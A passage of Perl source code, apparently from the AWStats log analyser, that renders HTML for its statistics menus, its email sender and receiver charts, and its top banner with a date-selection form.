&$function( $categ, $menu, $menulink, $menutext );
}
foreach my $key (%$menu) {
if ( $menu->{$key} && $menu->{$key} > 0 ) { $linetitle++; last; }
}
if ( !$linetitle ) { return; }
# At least one entry in menu for this category, we can show category and entries
my $WIDTHMENU1 = ( $FrameName eq 'mainleft' ? $FRAMEWIDTH : 150 );
print "<tr><td class=\"awsm\" width=\"$WIDTHMENU1\""
. ( $frame ? "" : " valign=\"top\"" ) . ">"
. ( $categicon ? "<img src=\"$DirIcons/other/$categicon\" /> " : "" )
. "<b>$categtext:</b></td>\n";
print( $frame? "</tr>\n" : "<td class=\"awsm\">" );
foreach my $key ( sort { $menu->{$a} <=> $menu->{$b} } keys %$menu ) {
if ( $menu->{$key} == 0 ) { next; }
if ( $menulink->{$key} == 1 ) {
print( $frame? "<tr><td class=\"awsm\">" : "" );
print
"<a href=\"$linkanchor#$key\"$targetpage>$menutext->{$key}</a>";
print( $frame? "</td></tr>\n" : " " );
}
if ( $menulink->{$key} == 2 ) {
print( $frame
? "<tr><td class=\"awsm\"> <img height=\"8\" width=\"9\" src=\"$DirIcons/other/page.png\" alt=\"...\" /> "
: ""
);
print "<a href=\""
. (
$ENV{'GATEWAY_INTERFACE'}
|| !$StaticLinks
? XMLEncode("$AWScript${NewLinkParams}output=$key")
: "$StaticLinks.$key.$StaticExt"
)
. "\"$NewLinkTarget>$menutext->{$key}</a>\n";
print( $frame? "</td></tr>\n" : " " );
}
}
print( $frame? "" : "</td></tr>\n" );
}
#------------------------------------------------------------------------------
# Function: Prints HTML to display an email senders chart
# Parameters: -
# Input: $NewLinkParams, NewLinkTarget
# Output: HTML
# Return: -
#------------------------------------------------------------------------------
sub HTMLShowEmailSendersChart {
my $NewLinkParams = shift;
my $NewLinkTarget = shift;
my $MaxLengthOfShownEMail = 48;
my $total_p;
my $total_h;
my $total_k;
my $max_p;
my $max_h;
my $max_k;
my $rest_p;
my $rest_h;
my $rest_k;
# Show filter form
#&ShowFormFilter("emailsfilter",$EmailsFilter);
# Show emails list
print "$Center<a name=\"emailsenders\"> </a><br />\n";
my $title;
if ( $HTMLOutput{'allemails'} || $HTMLOutput{'lastemails'} ) {
$title = "$Message[131]";
}
else {
$title =
"$Message[131] ($Message[77] $MaxNbOf{'EMailsShown'}) - <a href=\""
. (
$ENV{'GATEWAY_INTERFACE'}
|| !$StaticLinks
? XMLEncode("$AWScript${NewLinkParams}output=allemails")
: "$StaticLinks.allemails.$StaticExt"
)
. "\"$NewLinkTarget>$Message[80]</a>";
if ( $ShowEMailSenders =~ /L/i ) {
$title .= " - <a href=\""
. (
$ENV{'GATEWAY_INTERFACE'}
|| !$StaticLinks
? XMLEncode("$AWScript${NewLinkParams}output=lastemails")
: "$StaticLinks.lastemails.$StaticExt"
)
. "\"$NewLinkTarget>$Message[9]</a>";
}
}
&tab_head( "$title", 19, 0, 'emailsenders' );
print
"<tr bgcolor=\"#$color_TableBGRowTitle\"><th colspan=\"3\">$Message[131] : "
. ( scalar keys %_emails_h ) . "</th>";
if ( $ShowEMailSenders =~ /H/i ) {
print "<th rowspan=\"2\" bgcolor=\"#$color_h\" width=\"80\""
. Tooltip(4)
. ">$Message[57]</th>";
}
if ( $ShowEMailSenders =~ /B/i ) {
print
"<th class=\"datasize\" rowspan=\"2\" bgcolor=\"#$color_k\" width=\"80\""
. Tooltip(5)
. ">$Message[75]</th>";
}
if ( $ShowEMailSenders =~ /M/i ) {
print
"<th rowspan=\"2\" bgcolor=\"#$color_k\" width=\"80\">$Message[106]</th>";
}
if ( $ShowEMailSenders =~ /L/i ) {
print "<th rowspan=\"2\" width=\"120\">$Message[9]</th>";
}
print "</tr>\n";
print
"<tr bgcolor=\"#$color_TableBGRowTitle\"><th width=\"30%\">Local</th><th> </th><th width=\"30%\">External</th></tr>";
$total_p = $total_h = $total_k = 0;
$max_h = 1;
foreach ( values %_emails_h ) {
if ( $_ > $max_h ) { $max_h = $_; }
}
$max_k = 1;
foreach ( values %_emails_k ) {
if ( $_ > $max_k ) { $max_k = $_; }
}
my $count = 0;
if ( !$HTMLOutput{'allemails'} && !$HTMLOutput{'lastemails'} ) {
&BuildKeyList( $MaxNbOf{'EMailsShown'}, $MinHit{'EMail'}, \%_emails_h,
\%_emails_h );
}
if ( $HTMLOutput{'allemails'} ) {
&BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'EMail'}, \%_emails_h,
\%_emails_h );
}
if ( $HTMLOutput{'lastemails'} ) {
&BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'EMail'}, \%_emails_h,
\%_emails_l );
}
foreach my $key (@keylist) {
my $newkey = $key;
if ( length($key) > $MaxLengthOfShownEMail ) {
$newkey = substr( $key, 0, $MaxLengthOfShownEMail ) . "...";
}
my $bredde_h = 0;
my $bredde_k = 0;
if ( $max_h > 0 ) {
$bredde_h = int( $BarWidth * $_emails_h{$key} / $max_h ) + 1;
}
if ( $max_k > 0 ) {
$bredde_k = int( $BarWidth * $_emails_k{$key} / $max_k ) + 1;
}
print "<tr>";
my $direction = IsLocalEMail($key);
if ( $direction > 0 ) {
print "<td class=\"aws\">$newkey</td><td>-></td><td> </td>";
}
if ( $direction == 0 ) {
print
"<td colspan=\"3\"><span style=\"color: #$color_other\">$newkey</span></td>";
}
if ( $direction < 0 ) {
print "<td class=\"aws\"> </td><td><-</td><td>$newkey</td>";
}
if ( $ShowEMailSenders =~ /H/i ) { print "<td>$_emails_h{$key}</td>"; }
if ( $ShowEMailSenders =~ /B/i ) {
print "<td nowrap=\"nowrap\">"
. Format_Bytes( $_emails_k{$key} ) . "</td>";
}
if ( $ShowEMailSenders =~ /M/i ) {
print "<td nowrap=\"nowrap\">"
. Format_Bytes( $_emails_k{$key} / ( $_emails_h{$key} || 1 ) )
. "</td>";
}
if ( $ShowEMailSenders =~ /L/i ) {
print "<td nowrap=\"nowrap\">"
. ( $_emails_l{$key} ? Format_Date( $_emails_l{$key}, 1 ) : '-' )
. "</td>";
}
print "</tr>\n";
#$total_p += $_emails_p{$key};
$total_h += $_emails_h{$key};
$total_k += $_emails_k{$key};
$count++;
}
$rest_p = 0; # $rest_p=$TotalPages-$total_p;
$rest_h = $TotalHits - $total_h;
$rest_k = $TotalBytes - $total_k;
if ( $rest_p > 0 || $rest_h > 0 || $rest_k > 0 ) { # All other sender emails
print
"<tr><td colspan=\"3\"><span style=\"color: #$color_other\">$Message[2]</span></td>";
if ( $ShowEMailSenders =~ /H/i ) { print "<td>$rest_h</td>"; }
if ( $ShowEMailSenders =~ /B/i ) {
print "<td nowrap=\"nowrap\">" . Format_Bytes($rest_k) . "</td>";
}
if ( $ShowEMailSenders =~ /M/i ) {
print "<td nowrap=\"nowrap\">"
. Format_Bytes( $rest_k / ( $rest_h || 1 ) ) . "</td>";
}
if ( $ShowEMailSenders =~ /L/i ) { print "<td> </td>"; }
print "</tr>\n";
}
&tab_end();
}
#------------------------------------------------------------------------------
# Function: Prints HTML to display an email receivers chart
# Parameters: -
# Input: $NewLinkParams, NewLinkTarget
# Output: HTML
# Return: -
#------------------------------------------------------------------------------
sub HTMLShowEmailReceiversChart {
my $NewLinkParams = shift;
my $NewLinkTarget = shift;
my $MaxLengthOfShownEMail = 48;
my $total_p;
my $total_h;
my $total_k;
my $max_p;
my $max_h;
my $max_k;
my $rest_p;
my $rest_h;
my $rest_k;
# Show filter form
#&ShowFormFilter("emailrfilter",$EmailrFilter);
# Show emails list
print "$Center<a name=\"emailreceivers\"> </a><br />\n";
my $title;
if ( $HTMLOutput{'allemailr'} || $HTMLOutput{'lastemailr'} ) {
$title = "$Message[132]";
}
else {
$title =
"$Message[132] ($Message[77] $MaxNbOf{'EMailsShown'}) - <a href=\""
. (
$ENV{'GATEWAY_INTERFACE'}
|| !$StaticLinks
? XMLEncode("$AWScript${NewLinkParams}output=allemailr")
: "$StaticLinks.allemailr.$StaticExt"
)
. "\"$NewLinkTarget>$Message[80]</a>";
if ( $ShowEMailReceivers =~ /L/i ) {
$title .= " - <a href=\""
. (
$ENV{'GATEWAY_INTERFACE'}
|| !$StaticLinks
? XMLEncode("$AWScript${NewLinkParams}output=lastemailr")
: "$StaticLinks.lastemailr.$StaticExt"
)
. "\"$NewLinkTarget>$Message[9]</a>";
}
}
&tab_head( "$title", 19, 0, 'emailreceivers' );
print
"<tr bgcolor=\"#$color_TableBGRowTitle\"><th colspan=\"3\">$Message[132] : "
. ( scalar keys %_emailr_h ) . "</th>";
if ( $ShowEMailReceivers =~ /H/i ) {
print "<th rowspan=\"2\" bgcolor=\"#$color_h\" width=\"80\""
. Tooltip(4)
. ">$Message[57]</th>";
}
if ( $ShowEMailReceivers =~ /B/i ) {
print
"<th class=\"datasize\" rowspan=\"2\" bgcolor=\"#$color_k\" width=\"80\""
. Tooltip(5)
. ">$Message[75]</th>";
}
if ( $ShowEMailReceivers =~ /M/i ) {
print
"<th rowspan=\"2\" bgcolor=\"#$color_k\" width=\"80\">$Message[106]</th>";
}
if ( $ShowEMailReceivers =~ /L/i ) {
print "<th rowspan=\"2\" width=\"120\">$Message[9]</th>";
}
print "</tr>\n";
print
"<tr bgcolor=\"#$color_TableBGRowTitle\"><th width=\"30%\">Local</th><th> </th><th width=\"30%\">External</th></tr>";
$total_p = $total_h = $total_k = 0;
$max_h = 1;
foreach ( values %_emailr_h ) {
if ( $_ > $max_h ) { $max_h = $_; }
}
$max_k = 1;
foreach ( values %_emailr_k ) {
if ( $_ > $max_k ) { $max_k = $_; }
}
my $count = 0;
if ( !$HTMLOutput{'allemailr'} && !$HTMLOutput{'lastemailr'} ) {
&BuildKeyList( $MaxNbOf{'EMailsShown'}, $MinHit{'EMail'}, \%_emailr_h,
\%_emailr_h );
}
if ( $HTMLOutput{'allemailr'} ) {
&BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'EMail'}, \%_emailr_h,
\%_emailr_h );
}
if ( $HTMLOutput{'lastemailr'} ) {
&BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'EMail'}, \%_emailr_h,
\%_emailr_l );
}
foreach my $key (@keylist) {
my $newkey = $key;
if ( length($key) > $MaxLengthOfShownEMail ) {
$newkey = substr( $key, 0, $MaxLengthOfShownEMail ) . "...";
}
my $bredde_h = 0;
my $bredde_k = 0;
if ( $max_h > 0 ) {
$bredde_h = int( $BarWidth * $_emailr_h{$key} / $max_h ) + 1;
}
if ( $max_k > 0 ) {
$bredde_k = int( $BarWidth * $_emailr_k{$key} / $max_k ) + 1;
}
print "<tr>";
my $direction = IsLocalEMail($key);
if ( $direction > 0 ) {
print "<td class=\"aws\">$newkey</td><td><-</td><td> </td>";
}
if ( $direction == 0 ) {
print
"<td colspan=\"3\"><span style=\"color: #$color_other\">$newkey</span></td>";
}
if ( $direction < 0 ) {
print "<td class=\"aws\"> </td><td>-></td><td>$newkey</td>";
}
if ( $ShowEMailReceivers =~ /H/i ) {
print "<td>$_emailr_h{$key}</td>";
}
if ( $ShowEMailReceivers =~ /B/i ) {
print "<td nowrap=\"nowrap\">"
. Format_Bytes( $_emailr_k{$key} ) . "</td>";
}
if ( $ShowEMailReceivers =~ /M/i ) {
print "<td nowrap=\"nowrap\">"
. Format_Bytes( $_emailr_k{$key} / ( $_emailr_h{$key} || 1 ) )
. "</td>";
}
if ( $ShowEMailReceivers =~ /L/i ) {
print "<td nowrap=\"nowrap\">"
. ( $_emailr_l{$key} ? Format_Date( $_emailr_l{$key}, 1 ) : '-' )
. "</td>";
}
print "</tr>\n";
#$total_p += $_emailr_p{$key};
$total_h += $_emailr_h{$key};
$total_k += $_emailr_k{$key};
$count++;
}
$rest_p = 0; # $rest_p=$TotalPages-$total_p;
$rest_h = $TotalHits - $total_h;
$rest_k = $TotalBytes - $total_k;
if ( $rest_p > 0 || $rest_h > 0 || $rest_k > 0 )
{ # All other receiver emails
print
"<tr><td colspan=\"3\"><span style=\"color: #$color_other\">$Message[2]</span></td>";
if ( $ShowEMailReceivers =~ /H/i ) { print "<td>$rest_h</td>"; }
if ( $ShowEMailReceivers =~ /B/i ) {
print "<td nowrap=\"nowrap\">" . Format_Bytes($rest_k) . "</td>";
}
if ( $ShowEMailReceivers =~ /M/i ) {
print "<td nowrap=\"nowrap\">"
. Format_Bytes( $rest_k / ( $rest_h || 1 ) ) . "</td>";
}
if ( $ShowEMailReceivers =~ /L/i ) { print "<td> </td>"; }
print "</tr>\n";
}
&tab_end();
}
#------------------------------------------------------------------------------
# Function: Prints the top banner of the inner frame or static page
# Parameters: $WIDTHMENU1
# Input: _
# Output: HTML
# Return: -
#------------------------------------------------------------------------------
sub HTMLTopBanner{
my $WIDTHMENU1 = shift;
my $frame = ( $FrameName eq 'mainleft' );
if ($Debug) { debug( "ShowTopBan", 2 ); }
print "$Center<a name=\"menu\"> </a>\n";
if ( $FrameName ne 'mainleft' ) {
my $NewLinkParams = ${QueryString};
$NewLinkParams =~ s/(^|&|&)update(=\w*|$)//i;
$NewLinkParams =~ s/(^|&|&)staticlinks(=\w*|$)//i;
$NewLinkParams =~ s/(^|&|&)year=[^&]*//i;
$NewLinkParams =~ s/(^|&|&)month=[^&]*//i;
$NewLinkParams =~ s/(^|&|&)framename=[^&]*//i;
$NewLinkParams =~ s/(&|&)+/&/i;
$NewLinkParams =~ s/^&//;
$NewLinkParams =~ s/&$//;
my $NewLinkTarget = '';
if ( $FrameName eq 'mainright' ) {
$NewLinkTarget = " target=\"_parent\"";
}
print "<form name=\"FormDateFilter\" action=\""
. XMLEncode("$AWScript${NewLinkParams}")
. "\" style=\"padding: 0px 0px 20px 0px; margin-top: 0\"$NewLinkTarget>\n";
}
if ( $QueryString !~ /buildpdf/i ) {
print
"<table class=\"aws_border\" border=\"0\" cellpadding=\"2\" cellspacing=\"0\" width=\"100%\">\n";
print "<tr><td>\n";
print
"<table class=\"aws_data sortable\" border=\"0\" cellpadding=\"1\" cellspacing=\"0\" width=\"100%\">\n";
}
else {
print "<table width=\"100%\">\n";
}
if ( $FrameName ne 'mainright' ) {
# Print Statistics Of
if ( $FrameName eq 'mainleft' ) {
my $shortSiteDomain = $SiteDomain;
if ( length($SiteDomain) > 30 ) {
$shortSiteDomain =
substr( $SiteDomain, 0, 20 ) . "..."
. substr( $SiteDomain, length($SiteDomain) - 5, 5 );
}
print
"<tr><td class=\"awsm\"><b>$Message[7]:</b></td></tr><tr><td class=\"aws\"><span style=\"font-size: 12px;\">$shortSiteDomain</span></td>";
}
else {
print
"<tr><td class=\"aws\" valign=\"middle\"><b>$Message[7]:</b> </td><td class=\"aws\" valign=\"middle\"><span style=\"font-size: 14px;\">$SiteDomain</span></td>";
}
# Logo and flags
if ( $FrameName ne 'mainleft' ) {
if ( $LogoLink =~ "http://www.awstats.org" ) {
print "<td align=\"right\" rowspan=\"3\"><a href=\""
. XMLEncode($LogoLink)
. "\" target=\"awstatshome\"><img src=\"$DirIcons/other/$Logo\" border=\"0\""
. AltTitle( ucfirst($PROG) . " Web Site" )
. " /></a>";
}
else {
print "<td align=\"right\" rowspan=\"3\"><a href=\""
. XMLEncode($LogoLink)
. "\" target=\"awstatshome\"><img src=\"$DirIcons/other/$Logo\" border=\"0\" /></a>";
}
if ( !$StaticLinks ) { print "<br />"; Show_Flag_Links($Lang); }
print "</td>";
}
print "</tr>\n";
}
if ( $FrameName ne 'mainleft' ) {
# Print Last Update
print
"<tr valign=\"middle\"><td class=\"aws\" valign=\"middle\" width=\"$WIDTHMENU1\"><b>$Message[35]:</b> </td>";
print
"<td class=\"aws\" valign=\"middle\"><span style=\"font-size: 12px;\">";
if ($LastUpdate) { print Format_Date( $LastUpdate, 0 ); }
else {
# Here NbOfOldLines = 0 (because LastUpdate is not defined)
if ( !$UpdateStats ) {
print "<span style=\"color: #880000\">$Message[24]</span>";
}
else {
print
"<span style=\"color: #880000\">No qualified records found in log
($NbOfLinesCorrupted corrupted, $NbOfLinesComment comments, $NbOfLinesBlank Blank,
$NbOfLinesDropped dropped)</span>";
}
}
print "</span>";
# Print Update Now link
if ( $AllowToUpdateStatsFromBrowser && !$StaticLinks ) {
my $NewLinkParams = ${QueryString};
$NewLinkParams =~ s/(^|&|&)update(=\w*|$)//i;
$NewLinkParams =~ s/(^|&|&)staticlinks(=\w*|$)//i;
$NewLinkParams =~ s/(^|&|&)framename=[^&]*//i;
if ( $FrameName eq 'mainright' ) {
$NewLinkParams .= "&framename=mainright";
}
$NewLinkParams =~ s/(&|&)+/&/i;
$NewLinkParams =~ s/^&//;
$NewLinkParams =~ s/&$//;
if ($NewLinkParams) { $NewLinkParams = "${NewLinkParams}&"; }
print " ";
print "<a href=\""
. XMLEncode("$AWScript${NewLinkParams}update=1")
. "\">$Message[74]</a>";
}
print "</td>";
# Logo and flags
if ( $FrameName eq 'mainright' ) {
if ( $LogoLink =~ "http://www.awstats.org" ) {
print "<td align=\"right\" rowspan=\"2\"><a href=\""
. XMLEncode($LogoLink)
. "\" target=\"awstatshome\"><img src=\"$DirIcons/other/$Logo\" border=\"0\""
. AltTitle( ucfirst($PROG) . " Web Site" )
. " /></a>\n";
}
else {
print "<td align=\"right\" rowspan=\"2\"><a href=\""
. XMLEncode($LogoLink)
. "\" target=\"awstatshome\"><img src=\"$DirIcons/other/$Logo\" border=\"0\" /></a>\n";
}
if ( !$StaticLinks ) { print "<br />"; Show_Flag_Links($Lang); }
print "</td>";
}
print "</tr>\n";
# Print selected period of analysis (month and year required)
print
"<tr><td class=\"aws\" valign=\"middle\"><b>$Message[133]:</b></td>";
print "<td class=\"aws\" valign=\"middle\">";
if ( $ENV{'GATEWAY_INTERFACE'} || !$StaticLinks ) {
print "<select class=\"aws_formfield\" name=\"databasebreak\">\n";
print "<option"
. ( $DatabaseBreak eq "month" ? " selected=\"selected\"" : "" )
. " value=\"month\">$Message[5]</option>\n";
print "<option"
. ( $DatabaseBreak eq "day" ? " selected=\"selected\"" : "" )
. " value=\"day\">$Message[4]</option>\n";
print "<option"
. ( $DatabaseBreak eq "hour" ? " selected=\"selected\"" : "" )
. " value=\"hour\">$Message[187]</option>\n";
print "</select>\n";
print "<select class=\"aws_formfield\" name=\"month\">\n";
foreach ( 1 .. 12 ) {
my $monthix = sprintf( "%02s", $_ );
print "<option"
. (
"$MonthRequired" eq "$monthix"
? " selected=\"selected\""
: ""
)
. " value=\"$monthix\">$MonthNumLib{$monthix}</option>\n";
}
if ( $AllowFullYearView >= 2 ) {
print "<option"
. ( $MonthRequired eq 'all' ? " selected=\"selected\"" : "" )
. " value=\"all\">- $Message[6] -</option>\n";
}
print "</select>\n";
print "<select class=\"aws_formfield\" name=\"year\">\n";
# Add YearRequired in list if not in ListOfYears
$ListOfYears{$YearRequired} ||= $MonthRequired;
foreach ( sort keys %ListOfYears ) {
print "<option"
. ( $YearRequired eq "$_" ? " selected=\"selected\"" : "" )
. " value=\"$_\">$_</option>\n";
}
print "</select>\n";
if ( $DatabaseBreak eq 'day' ||
$DatabaseBreak eq 'hour') {
if (!$DayRequired) {
$DayRequired = $nowday;
}
print "<select class=\"aws_formfield\" name=\"day\">\n";
foreach ( 1 .. 31 ) {
print "<option"
. ( $DayRequired eq "$_" ? " selected=\"selected\"" : "" )
. " value=\"$_\">$_</option>\n";
}
print "</select>\n";
}
if ( $DatabaseBreak eq 'hour') {
if (!$HourRequired) {
$HourRequired = $nowhour;
}
print "<select class=\"aws_formfield\" name=\"hour\">\n";
foreach ( 0 .. 23 ) {
print "<option"
. ( $HourRequired eq "$_" ? " selected=\"selected\"" : "" )
. " value=\"$_\">$_</option>\n";
}
print "</select>\n";
}
print "<input type=\"hidden\" name=\"output\" value=\""
. join( ',', keys %HTMLOutput )
. "\" />\n";
if ($SiteConfig) {
print
"<input type=\"hidden\" name=\"config\" value=\"$SiteConfig\" />\n";
}
if ($DirConfig) {
print
"<input type=\"hidden\" name=\"configdir\" value=\"$DirConfig\" />\n";
}
if ( $QueryString =~ /lang=(\w+)/i ) {
print
"<input type=\"hidden\" name=\"lang\" value=\"$1\" />\n";
}
if ( $QueryString =~ /debug=(\d+)/i ) {
print
"<input type=\"hidden\" name=\"debug\" value=\"$1\" />\n";
}
if ( $FrameName eq 'mainright' ) {
print
"<input type=\"hidden\" name=\"framename\" value=\"index\" />\n";
}
print
"<input type=\"submit\" value=\" $Message[115] \" class=\"aws_button\" />";
}
else {
print "<span style=\"font-size: 14px;\">";
if ($DayRequired) { print "$Message[4] $DayRequired - "; }
if ( $MonthRequired eq 'all' ) {
print "$Message[6] $YearRequired";
}
else {
print
"$Message[5] $MonthNumLib{$MonthRequired} $YearRequired";
}
print "</span>";
}
print "</td></tr>\n";
}
if ( $QueryString !~ /buildpdf/i ) {
print "</table>\n";
print "</td></tr></table>\n";
}
else {
print "</table>\n";
}
if ( $FrameName ne 'mainleft' ) { print "</form><br />\n"; }
else { print "<br />\n"; }
print "\n";
}
#------------------------------------------------------------------------------
# Function: Prints the menu in a frame or below the top banner
# Parameters: _
# Input: _
# Output: HTML
# Return: -
#------------------------------------------------------------------------------
sub HTMLMenu{
my $NewLinkParams = shift;
my $NewLinkTarget = shift;
my $frame = ( $FrameName eq 'mainleft' );
if ($Debug) { debug( "ShowMenu", 2 ); }
# Print menu links
if ( ( $HTMLOutput{'main'} && $FrameName ne 'mainright' )
|| $FrameName eq 'mainleft' )
{ # If main page asked
# Define link anchor
my $linkanchor =
( $FrameName eq 'mainleft' ? "$AWScript${NewLinkParams}" : "" );
if ( $linkanchor && ( $linkanchor !~ /framename=mainright/ ) ) {
$linkanchor .= "framename=mainright";
}
$linkanchor =~ s/(&|&)$//;
$linkanchor = XMLEncode("$linkanchor");
# Define target
my $targetpage =
( $FrameName eq 'mainleft' ? " target=\"mainright\"" : "" );
# Print Menu
my $linetitle; # TODO a virer
if ( !$PluginsLoaded{'ShowMenu'}{'menuapplet'} ) {
my $menuicon = 0; # TODO a virer
# Menu HTML
print "<table"
. (
$frame
? " cellspacing=\"0\" cellpadding=\"0\" border=\"0\""
: ""
)
. ">\n";
if ( $FrameName eq 'mainleft' && $ShowMonthStats ) {
print( $frame? "<tr><td class=\"awsm\">" : "" );
print
"<a href=\"$linkanchor#top\"$targetpage>$Message[128]</a>";
print( $frame? "</td></tr>\n" : " " );
}
my %menu = ();
my %menulink = ();
my %menutext = ();
# When
%menu = (
'month' => $ShowMonthStats ? 1 : 0,
'daysofmonth' => $ShowDaysOfMonthStats ? 2 : 0,
'daysofweek' => $ShowDaysOfWeekStats ? 3 : 0,
'hours' => $ShowHoursStats ? 4 : 0
);
%menulink = (
'month' => 1,
'daysofmonth' => 1,
'daysofweek' => 1,
'hours' => 1
);
%menutext = (
'month' => $Message[162],
'daysofmonth' => $Message[138],
'daysofweek' => $Message[91],
'hours' => $Message[20]
);
HTMLShowMenuCateg(
'when', $Message[93],
'menu4.png', $frame,
$targetpage, $linkanchor,
$NewLinkParams, $NewLinkTarget,
\%menu, \%menulink,
\%menutext
);
# Who
%menu = (
'countries' => $ShowDomainsStats ? 1 : 0,
'alldomains' => $ShowDomainsStats ? 2 : 0,
'visitors' => $ShowHostsStats ? 3 : 0,
'allhosts' => $ShowHostsStats ? 4 : 0,
'lasthosts' => ( $ShowHostsStats =~ /L/i ) ? 5 : 0,
'unknownip' => $ShowHostsStats ? 6 : 0,
'logins' => $ShowAuthenticatedUsers ? 7 : 0,
'alllogins' => $ShowAuthenticatedUsers ? 8 : 0,
'lastlogins' => ( $ShowAuthenticatedUsers =~ /L/i ) ? 9 : 0,
'emailsenders' => $ShowEMailSenders ? 10 : 0,
'allemails' => $ShowEMailSenders ? 11 : 0,
'lastemails' => ( $ShowEMailSenders =~ /L/i ) ? 12 : 0,
'emailreceivers' => $ShowEMailReceivers ? 13 : 0,
'allemailr' => $ShowEMailReceivers ? 14 : 0,
'lastemailr' => ( $ShowEMailReceivers =~ /L/i ) ? 15 : 0,
'robots' => $ShowRobotsStats ? 16 : 0,
'allrobots' => $ShowRobotsStats ? 17 : 0,
'lastrobots' => ( $ShowRobotsStats =~ /L/i ) ? 18 : 0,
'worms' => $ShowWormsStats ? 19 : 0
);
%menulink = (
'countries' => 1,
'alldomains' => 2,
'visitors' => 1,
'allhosts' => 2,
'lasthosts' => 2,
'unknownip' => 2,
'logins' => 1,
'alllogins' => 2,
'lastlogins' => 2,
'emailsenders' => 1,
'allemails' => 2,
'lastemails' => 2,
'emailreceivers' => 1,
'allemailr' => 2,
'lastemailr' => 2,
'robots' => 1,
'allrobots' => 2,
'lastrobots' => 2,
'worms' => 1
);
%menutext = (
'countries' => $Message[148],
'alldomains' => $Message[80],
'visitors' => $Message[81],
'allhosts' => $Message[80],
'lasthosts' => $Message[9],
'unknownip' => $Message[45],
'logins' => $Message[94],
'alllogins' => $Message[80],
'lastlogins' => $Message[9],
'emailsenders' => $Message[131],
'allemails' => $Message[80],
'lastemails' => $Message[9],
'emailreceivers' => $Message[132],
'allemailr' => $Message[80],
'lastemailr' => $Message[9],
'robots' => $Message[53],
'allrobots' => $Message[80],
'lastrobots' => $Message[9],
'worms' => $Message[136]
);
HTMLShowMenuCateg(
'who', $Message[92],
'menu5.png', $frame,
$targetpage, $linkanchor,
$NewLinkParams, $NewLinkTarget,
\%menu, \%menulink,
\%menutext
);
# Navigation
$linetitle = &AtLeastOneNotNull(
$ShowSessionsStats, $ShowPagesStats,
$ShowFileTypesStats, $ShowFileSizesStats,
$ShowOSStats, $ShowBrowsersStats,
$ShowScreenSizeStats, $ShowDownloadsStats
);
if ($linetitle) {
print "<tr><td class=\"awsm\""
. ( $frame ? "" : " valign=\"top\"" ) . ">"
. (
$menuicon
? "<img src=\"$DirIcons/other/menu2.png\" /> "
: ""
)
. "<b>$Message[72]:</b></td>\n";
}
if ($linetitle) {
print( $frame? "</tr>\n" : "<td class=\"awsm\">" );
}
if ($ShowSessionsStats) {
print( $frame? "<tr><td class=\"awsm\">" : "" );
print
"<a href=\"$linkanchor#sessions\"$targetpage>$Message[117]</a>";
print( $frame? "</td></tr>\n" : " " );
}
if ($ShowFileSizesStats) {
print ( $frame? "<tr><td class=\"awsm\">" : "" );
print
"<a href=\"$linkanchor#filesizes\"$targetpage>$Message[186]</a>";
print ( $frame? "</td></tr>\n" : " ");
}
if ($ShowFileTypesStats && $LevelForFileTypesDetection > 0) {
print( $frame? "<tr><td class=\"awsm\">" : "" );
print
"<a href=\"$linkanchor#filetypes\"$targetpage>$Message[73]</a>";
print( $frame? "</td></tr>\n" : " " );
}
if ($ShowDownloadsStats && $LevelForFileTypesDetection > 0) {
print( $frame? "<tr><td class=\"awsm\">" : "" );
print
"<a href=\"$linkanchor#downloads\"$targetpage>$Message[178]</a>";
print( $frame? "</td></tr>\n" : " " );
print( $frame
? "<tr><td class=\"awsm\"> <img height=\"8\" width=\"9\" src=\"$DirIcons/other/page.png\" alt=\"...\" /> "
: ""
);
print "<a href=\""
. (
$ENV{'GATEWAY_INTERFACE'} || !$StaticLinks
? XMLEncode(
"$AWScript${NewLinkParams}output=downloads")
: "$StaticLinks.downloads.$StaticExt"
)
. "\"$NewLinkTarget>$Message[80]</a>\n";
print( $frame? "</td></tr>\n" : " " );
}
if ($ShowPagesStats) {
print( $frame? "<tr><td class=\"awsm\">" : "" );
print
"<a href=\"$linkanchor#urls\"$targetpage>$Message[29]</a>\n";
print( $frame? "</td></tr>\n" : " " );
}
if ($ShowPagesStats) {
print( $frame
? "<tr><td class=\"awsm\"> <img height=\"8\" width=\"9\" src=\"$DirIcons/other/page.png\" alt=\"...\" /> "
: ""
);
print "<a href=\""
. (
$ENV{'GATEWAY_INTERFACE'} || !$StaticLinks
? XMLEncode(
"$AWScript${NewLinkParams}output=urldetail")
: "$StaticLinks.urldetail.$StaticExt"
)
. "\"$NewLinkTarget>$Message[80]</a>\n";
print( $frame? "</td></tr>\n" : " " );
}
if ( $ShowPagesStats =~ /E/i ) {
print( $frame
? "<tr><td class=\"awsm\"> <img height=\"8\" width=\"9\" src=\"$DirIcons/other/page.png\" alt=\"...\" /> "
: ""
);
print "<a href=\""
. (
$ENV{'GATEWAY_INTERFACE'} || !$StaticLinks
? XMLEncode(
"$AWScript${NewLinkParams}output=urlentry")
: "$StaticLinks.urlentry.$StaticExt"
)
. "\"$NewLinkTarget>$Message[104]</a>\n";
print( $frame? "</td></tr>\n" : " " );
}
if ( $ShowPagesStats =~ /X/i ) {
print( $frame
? "<tr><td class=\"awsm\"> <img height=\"8\" width=\"9\" src=\"$DirIcons/other/page.png\" alt=\"...\" /> "
: ""
);
print "<a href=\""
. (
$ENV{'GATEWAY_INTERFACE'}
|| !$StaticLinks
? XMLEncode("$AWScript${NewLinkParams}output=urlexit")
: "$StaticLinks.urlexit.$StaticExt"
)
. "\"$NewLinkTarget>$Message[116]</a>\n";
print( $frame? "</td></tr>\n" : " " );
}
if ($ShowOSStats) {
print( $frame? "<tr><td class=\"awsm\">" : "" );
print
"<a href=\"$linkanchor#os\"$targetpage>$Message[59]</a>";
print( $frame? "</td></tr>\n" : " " );
}
if ($ShowOSStats) {
print( $frame
? "<tr><td class=\"awsm\"> <img height=\"8\" width=\"9\" src=\"$DirIcons/other/page.png\" alt=\"...\" /> "
: ""
);
print "<a href=\""
. (
$ENV{'GATEWAY_INTERFACE'} || !$StaticLinks
? XMLEncode(
"$AWScript${NewLinkParams}output=osdetail")
: "$StaticLinks.osdetail.$StaticExt"
)
. "\"$NewLinkTarget>$Message[58]</a>\n";
print( $frame? "</td></tr>\n" : " " );
}
if ($ShowOSStats) {
print( $frame
? "<tr><td class=\"awsm\"> <img height=\"8\" width=\"9\" src=\"$DirIcons/other/page.png\" alt=\"...\" /> "
: ""
);
print "<a href=\""
. (
$ENV{'GATEWAY_INTERFACE'} || !$StaticLinks
? XMLEncode(
